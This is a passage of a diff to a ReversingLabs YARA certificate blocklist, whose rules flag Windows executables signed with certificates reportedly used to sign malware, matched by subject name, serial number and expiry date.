"10d980d4a71dab4679376f5a6d6a6999e0b59af4f25587a7b8d1ef52a7808cc9" score = 75 quality = 90 tags = "INFO, FILE" @@ -21125,21 +43519,21 @@ rule REVERSINGLABS_Cert_Blocklist_0332D5C942869Bdcabf5A8266197Cd14 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JAWRO SP Z O O" and pe.signatures [ i ] . serial == "03:32:d5:c9:42:86:9b:dc:ab:f5:a8:26:61:97:cd:14" and 1622160000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Euro May SP Z O O" and ( pe.signatures [ i ] . serial == "00:b0:16:71:24:ca:59:14:9e:64:d2:92:eb:4b:14:20:14" or pe.signatures [ i ] . serial == "b0:16:71:24:ca:59:14:9e:64:d2:92:eb:4b:14:20:14" ) and 1585267200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4679C5398A279318365Fd77A84445699 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_112613B7B5F696Cf377680F6463Fcc8C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8d1810e7-9b64-52b3-91c6-f03832d61d3a" + id = "c0015521-b163-51ab-8c27-da3b1a8df084" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10462-L10478" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4442-L4458" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bdb68be92b3ba6b5eaa6e8e963529c0b9213942ba2552c687496ad5d12d5b472" + logic_hash = "50fd35617e059a5fe9d9e0fdb4b880c20e406357bbb2d037f9e6e9db47b8e49f" score = 75 quality = 90 tags = "INFO, FILE" @@ -21149,21 +43543,21 @@ rule REVERSINGLABS_Cert_Blocklist_4679C5398A279318365Fd77A84445699 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HURT GROUP HOLDINGS LIMITED" and pe.signatures [ i ] . serial == "46:79:c5:39:8a:27:93:18:36:5f:d7:7a:84:44:56:99" and 1643846400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Infoware Cloud Limited" and pe.signatures [ i ] . serial == "11:26:13:b7:b5:f6:96:cf:37:76:80:f6:46:3f:cc:8c" and 1566518400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_101D6A5A29D9A77807553Ceac669D853 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B3F906E5E6B2Cf61C5E51Be79B4E8777 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "918fa696-5c92-551b-a87b-6410a6dc718a" + id = "dc826355-bd15-58b3-adcb-55b704f03c0d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10480-L10496" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4460-L4478" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bce92750f71477ecfa7b8213724344708066c0e6133a47cd6758bbd9f8f9da5f" + logic_hash = "037e154854c1128fb73d2221c2b7d7211d977492378614fcf4fde959207e34b3" score = 75 quality = 90 tags = "INFO, FILE" @@ -21173,21 +43567,21 @@ rule REVERSINGLABS_Cert_Blocklist_101D6A5A29D9A77807553Ceac669D853 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIC GROUP LIMITED" and pe.signatures [ i ] . serial == "10:1d:6a:5a:29:d9:a7:78:07:55:3c:ea:c6:69:d8:53" and 1646352000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Accelerate Technologies Ltd" and ( pe.signatures [ i ] . serial == "00:b3:f9:06:e5:e6:b2:cf:61:c5:e5:1b:e7:9b:4e:87:77" or pe.signatures [ i ] . serial == "b3:f9:06:e5:e6:b2:cf:61:c5:e5:1b:e7:9b:4e:87:77" ) and 1594900020 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6000F8C02B0A15B1E53B8399845Faddf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_566Ac16A57B132D3F64Dced14De790Ee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b025fe73-89fa-55f2-8b3a-cb46251669e6" + id = "cb2ebbd5-5036-52f6-a064-11609f02309f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10498-L10514" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4480-L4496" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "00ceb241555154cab97ef616042dbd966f3a8fae257e142dfe6bad9559bd1724" + logic_hash = "48f4d334614f6c413907d51f4d6312554b13c4f5a3c03070ceba48baa13a8247" score = 75 quality = 90 tags = "INFO, FILE" @@ -21197,21 +43591,21 @@ rule REVERSINGLABS_Cert_Blocklist_6000F8C02B0A15B1E53B8399845Faddf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAY LIMITED" and pe.signatures [ i ] . serial == "60:00:f8:c0:2b:0a:15:b1:e5:3b:83:99:84:5f:ad:df" and 1644278400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unirad LLC" and pe.signatures [ i ] . serial == "56:6a:c1:6a:57:b1:32:d3:f6:4d:ce:d1:4d:e7:90:ee" and 1562889600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_121070Be1E782F206985543Bc7Bc58B6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D2Caf7908Aaebfa1A8F3E2136Fece024 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3f5eee11-4106-5923-9563-84f81199bea0" + id = "6c2c4fc6-5359-55fa-bf79-9202caa5f326" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10516-L10532" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4498-L4516" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a5d603cf64c8a16fa12daf9c6b5d0850e6145fb39b38442ed724ec0f849b8be9" + logic_hash = "cf4d17274ef36d61e78578d34634bf6e5fb0fb857a9a92184916b0f3b8484568" score = 75 quality = 90 tags = "INFO, FILE" @@ -21221,21 +43615,21 @@ rule REVERSINGLABS_Cert_Blocklist_121070Be1E782F206985543Bc7Bc58B6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Prod Can Holdings Inc." and pe.signatures [ i ] . serial == "12:10:70:be:1e:78:2f:20:69:85:54:3b:c7:bc:58:b6" and 1647820800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FANATOR, OOO" and ( pe.signatures [ i ] . serial == "00:d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24" or pe.signatures [ i ] . serial == "d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24" ) and 1599041760 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E04A344B397F752A45B128A594A3D6B5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5a4abffb-ac0d-5e70-8193-0cd1a83377ac" + id = "b396e08c-b7dc-5498-9c68-2d8cdc5dd3d3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10534-L10550" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4518-L4536" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ba1155b30761f48674aaa82a70a06fea30cced6518f089f3f9f173a4eb06a09" + logic_hash = "0489577c6050f0c5d1dad5bda8c4f3c895902b932cd0324087712ccb83f14680" score = 75 quality = 90 tags = "INFO, FILE" @@ -21245,21 +43639,21 @@ rule REVERSINGLABS_Cert_Blocklist_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALENTE SP Z O O" and pe.signatures [ i ] . serial == "52:26:a7:24:cf:a0:b4:bc:01:64:ec:da:3f:02:a3:dc" and 1647302400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Highweb Ireland Operations Limited" and ( pe.signatures [ i ] . serial == "00:e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5" or pe.signatures [ i ] . serial == "e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5" ) and 1597708800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A7Be7722B65A866Ebcd3Bd7F8F10825 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Bcaed3Ef678F2F9Bf38D09E149B8D70 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2b177573-8b9f-538f-8d07-b7baede1148d" + id = "0aea5110-569b-5d9c-a2ce-a6a9fe75b58e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10552-L10568" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4538-L4554" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c4aa22241ef72d454db4ec0fb0933abfa7b1d8d1029b45410475832cda4a2af4" + logic_hash = "dbf85cbd1d92823287749dac312f95576900753f60a694347b31b1e3aaa288a8" score = 75 quality = 90 tags = "INFO, FILE" @@ -21269,21 +43663,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A7Be7722B65A866Ebcd3Bd7F8F10825 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rebound Infotech Limited" and pe.signatures [ i ] . serial == "0a:7b:e7:72:2b:65:a8:66:eb:cd:3b:d7:f8:f1:08:25" and 1637971200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "StarY Media Inc." and pe.signatures [ i ] . serial == "3b:ca:ed:3e:f6:78:f2:f9:bf:38:d0:9e:14:9b:8d:70" and 1599091200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_05634456Dbedb3556Ca8415E64815C5D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_56D576A062491Ea0A5877Ced418203A1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c9a05c35-2aed-5944-aad7-65ae2c290c6c" + id = "3db67353-6310-54ad-b46a-97daf63fee42" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10570-L10586" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4556-L4572" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f5941c74821c0cd76633393d0346a9de2c7bccc666dc20b34c5b4d733faefc8f" + logic_hash = "19bd6834b432f3dc8786b449241082b359275559a112a8ef4a51efe185b256dc" score = 75 quality = 90 tags = "INFO, FILE" @@ -21293,21 +43687,21 @@ rule REVERSINGLABS_Cert_Blocklist_05634456Dbedb3556Ca8415E64815C5D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Walden Intertech Inc." and pe.signatures [ i ] . serial == "05:63:44:56:db:ed:b3:55:6c:a8:41:5e:64:81:5c:5d" and 1648425600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Silvo LLC" and pe.signatures [ i ] . serial == "56:d5:76:a0:62:49:1e:a0:a5:87:7c:ed:41:82:03:a1" and 1596249885 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2E07A8D6E3B25Ae010C8Ed2C4Ab0Fb37 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Fcba260Df7Da602Ecf4D4D6Fc89D5Dd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "39d23cbf-862f-5a3d-9e30-b3f0929963d5" + id = "ce248602-1f28-5707-b921-640271176e7f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10588-L10604" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4574-L4590" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bad2144c9cde02a75fa968e3c24178f3ba73b0addb2b4967f24733b933e0eeb6" + logic_hash = "4e9a3e516342820248ebf9b3605b8ce2dbf1d9b4255a5b74f7369dd2f1cdd9d8" score = 75 quality = 90 tags = "INFO, FILE" @@ -21317,21 +43711,21 @@ rule REVERSINGLABS_Cert_Blocklist_2E07A8D6E3B25Ae010C8Ed2C4Ab0Fb37 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Emurasoft, Inc." and pe.signatures [ i ] . serial == "2e:07:a8:d6:e3:b2:5a:e0:10:c8:ed:2c:4a:b0:fb:37" and 1650499200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Gold Stroy SP Z O O" and pe.signatures [ i ] . serial == "0f:cb:a2:60:df:7d:a6:02:ec:f4:d4:d6:fc:89:d5:dd" and 1593388801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_30B4Eeebd88Fd205Acc8577Bbaed8655 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4152169F22454Ed604D03555B7Afb175 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "27c60ade-41e1-5ba4-be8d-275edc01b5ba" + id = "e8975a1a-ac7c-5016-a206-de9ca7eea37f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10606-L10622" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4592-L4608" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "673ec5a1cacb9a7be101a4a533baf5a1eab4e6dd8721c69e56636701c5303c72" + logic_hash = "fbb2124b934c270739f564317526d5b23b996364372426485d7c994a83293866" score = 75 quality = 90 tags = "INFO, FILE" @@ -21341,21 +43735,21 @@ rule REVERSINGLABS_Cert_Blocklist_30B4Eeebd88Fd205Acc8577Bbaed8655 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Enforcer Srl" and pe.signatures [ i ] . serial == "30:b4:ee:eb:d8:8f:d2:05:ac:c8:57:7b:ba:ed:86:55" and 1646179200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMACKTECH SOFTWARE LIMITED" and pe.signatures [ i ] . serial == "41:52:16:9f:22:45:4e:d6:04:d0:35:55:b7:af:b1:75" and 1595808000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B3391A6C1B3C6836533959E2384Ab4Ca : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_01C88Ccbd219500139D1Af138A9E898E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ab274ae3-0884-517a-a221-2c952fc9d74c" + id = "e3bd6be6-461c-56fd-8dfd-8205845f731e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10624-L10642" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4610-L4626" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "38e38acfbfbf63b7179d2f8656f70224afa9269a7bdecd10ccbbbd92a6a216d3" + logic_hash = "d1acb0a7d6e20158797e77c066be42548cee9293fa94f24f936a95977ac16d91" score = 75 quality = 90 tags = "INFO, FILE" @@ -21365,21 +43759,21 @@ rule REVERSINGLABS_Cert_Blocklist_B3391A6C1B3C6836533959E2384Ab4Ca : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VERIFIED SOFTWARE LLC" and ( pe.signatures [ i ] . serial == "00:b3:39:1a:6c:1b:3c:68:36:53:39:59:e2:38:4a:b4:ca" or pe.signatures [ i ] . serial == "b3:39:1a:6c:1b:3c:68:36:53:39:59:e2:38:4a:b4:ca" ) and 1595462400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Raymond Yanagita" and pe.signatures [ i ] . serial == "01:c8:8c:cb:d2:19:50:01:39:d1:af:13:8a:9e:89:8e" and 1593041280 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_05D50A0E09Bb9A836Ffb90A3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_41D05676E0D31908Be4Dead3486Aeae3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f2e0959f-3bc6-5552-8f7a-f84672fb597d" + id = "bca4533d-e721-5f23-984a-3b741ca8b53f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10644-L10660" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4628-L4644" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1bd1960cd6dd8bf83472dc2b1809b84ceb3db68a5e6c3ba68f28ad922230b2ed" + logic_hash = "c4905f02c74df6d05b3f9a6fe2c4f5f32a02bb10da4db929314be043be76d703" score = 75 quality = 90 tags = "INFO, FILE" @@ -21389,21 +43783,21 @@ rule REVERSINGLABS_Cert_Blocklist_05D50A0E09Bb9A836Ffb90A3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Toliz Info Tech Solutions INC." and pe.signatures [ i ] . serial == "05:d5:0a:0e:09:bb:9a:83:6f:fb:90:a3" and 1643892810 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rov SP Z O O" and pe.signatures [ i ] . serial == "41:d0:56:76:e0:d3:19:08:be:4d:ea:d3:48:6a:ea:e3" and 1594857600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A2787Fbb4627C91611573E323584113 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8Cff807Edaf368A60E4106906D8Df319 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64848927-6a60-5ea9-bae5-7d15c3f35ca6" + id = "c964a540-6124-52f0-b17f-692cd4b9b3af" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10662-L10678" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4646-L4664" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "efa352beafb56b95a89554bc8929f8e01a4da46eef1f6cf8a1487a2a06bc1b3e" + logic_hash = "6fc98519faf218d90bb4e01821e6014e009c0b525cfd3c906a64ef82bc20beda" score = 75 quality = 90 tags = "INFO, FILE" @@ -21413,21 +43807,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A2787Fbb4627C91611573E323584113 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "exxon.com" and pe.signatures [ i ] . serial == "0a:27:87:fb:b4:62:7c:91:61:15:73:e3:23:58:41:13" and 1640822400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KRAFT BOKS OOO" and ( pe.signatures [ i ] . serial == "00:8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19" or pe.signatures [ i ] . serial == "8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19" ) and 1598334455 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1D36C4F439D651503589318F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A3E62Be1572293Ad618F58A8Aa32857F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f72b8e2c-b799-5aec-a69a-e42cdb3e2ae1" + id = "2f67abf3-390a-5c67-afed-e586e20692af" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10680-L10696" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4666-L4684" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73dc3c01041d50100a8d5519afe1a80f470c30175f9ad1bf76ac287ac199a959" + logic_hash = "f849898465bc651f19f6f1b54315c061466d8c5860ecf1a07f54c8c8292f6a95" score = 75 quality = 90 tags = "INFO, FILE" @@ -21437,21 +43831,21 @@ rule REVERSINGLABS_Cert_Blocklist_1D36C4F439D651503589318F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REDWOOD MARKETING SOLUTIONS INC." and pe.signatures [ i ] . serial == "1d:36:c4:f4:39:d6:51:50:35:89:31:8f" and 1651518469 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ISIDA, TOV" and ( pe.signatures [ i ] . serial == "00:a3:e6:2b:e1:57:22:93:ad:61:8f:58:a8:aa:32:85:7f" or pe.signatures [ i ] . serial == "a3:e6:2b:e1:57:22:93:ad:61:8f:58:a8:aa:32:85:7f" ) and 1596585600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_26F855A25890B749578F13E4B9459768 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_672D4428450Afcc24Fc60969A5063A3E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d873b0d4-dff5-5ee2-a70f-b067602b217e" + id = "fcd8e808-dbd6-5903-868a-0aa4541e6321" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10698-L10714" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4686-L4702" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "35bfa39ef8f03d10af884f288278ea6ad3aff31cbae111057c2b619c6dc0a752" + logic_hash = "8f5927e96109184bad7de4513994fd1021fe1cc5977e60fa72d808df95cb4516" score = 75 quality = 90 tags = "INFO, FILE" @@ -21461,21 +43855,21 @@ rule REVERSINGLABS_Cert_Blocklist_26F855A25890B749578F13E4B9459768 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Boo\\xE2\\x80\\x99s Q & Sweets Corporation" and pe.signatures [ i ] . serial == "26:f8:55:a2:58:90:b7:49:57:8f:13:e4:b9:45:97:68" and 1645401600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEP, OOO" and pe.signatures [ i ] . serial == "67:2d:44:28:45:0a:fc:c2:4f:c6:09:69:a5:06:3a:3e" and 1597381260 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F1Ae2239Bb96C5Aef49D0Ae50266912 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Df479E14A70C7970A4De3Dd3E4Bb0318 : 